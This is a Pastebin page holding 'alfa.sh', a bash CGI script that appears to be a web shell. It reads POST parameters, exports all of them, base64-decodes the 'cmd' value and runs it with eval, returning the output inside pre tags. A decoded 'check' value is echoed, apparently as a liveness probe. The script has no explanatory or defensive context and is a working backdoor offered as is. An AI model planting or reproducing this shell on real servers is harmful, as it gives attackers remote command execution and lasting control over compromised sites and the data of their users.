Advertisement
PalmaSolutions

alfa.sh

Apr 13th, 2019
294
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.58 KB | None | 0 0
  1. #!/bin/bash
  2. echo -e "Content-type: text/html\n\n"
  3. function cgi_get_POST_vars(){
  4.     [ "$REQUEST_METHOD" != "POST" ] && return
  5.     [ ! -z "$QUERY_STRING_POST" ] && return
  6.     [ -z "$CONTENT_LENGTH" ] && return
  7.     read -N $CONTENT_LENGTH QUERY_STRING_POST
  8.     return
  9. }
  10. function cgi_decodevar(){
  11.     [ $# -ne 1 ] && return
  12.     local v t h
  13.     t="${1//+/ }%%"
  14.     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
  15.         v="${v}${t%%\%*}"
  16.         t="${t#*%}"
  17.         if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
  18.             h=${t:0:2}
  19.             t="${t:2}"
  20.             v="${v}"`echo -e \\\\x${h}`
  21.         fi
  22.     done
  23.     echo "${v}"
  24.     return
  25. }
  26. function cgi_getvars(){
  27.     [ $# -lt 2 ] && return
  28.     local q p k v s
  29.     case $1 in
  30.         GET)
  31.             [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
  32.             ;;
  33.         POST)
  34.             cgi_get_POST_vars
  35.             [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
  36.             ;;
  37.         BOTH)
  38.             [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
  39.             cgi_get_POST_vars
  40.             [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
  41.             ;;
  42.     esac
  43.     shift
  44.     s=" $* "
  45.     while [ ! -z "$q" ]; do
  46.         p="${q%%&*}"
  47.         k="${p%%=*}"
  48.         v="${p#*=}"
  49.         q="${q#$p&*}"
  50.         [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
  51.             export "$k"="`cgi_decodevar \"$v\"`"
  52.     done
  53.     return
  54. }
  55. cgi_getvars POST ALL
  56. query=$(echo $cmd | base64 --decode)
  57. echo $(echo $check | base64 --decode)
  58. echo -e "<pre>\c"
  59. eval ${query}
  60. echo -e "</pre>\c"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement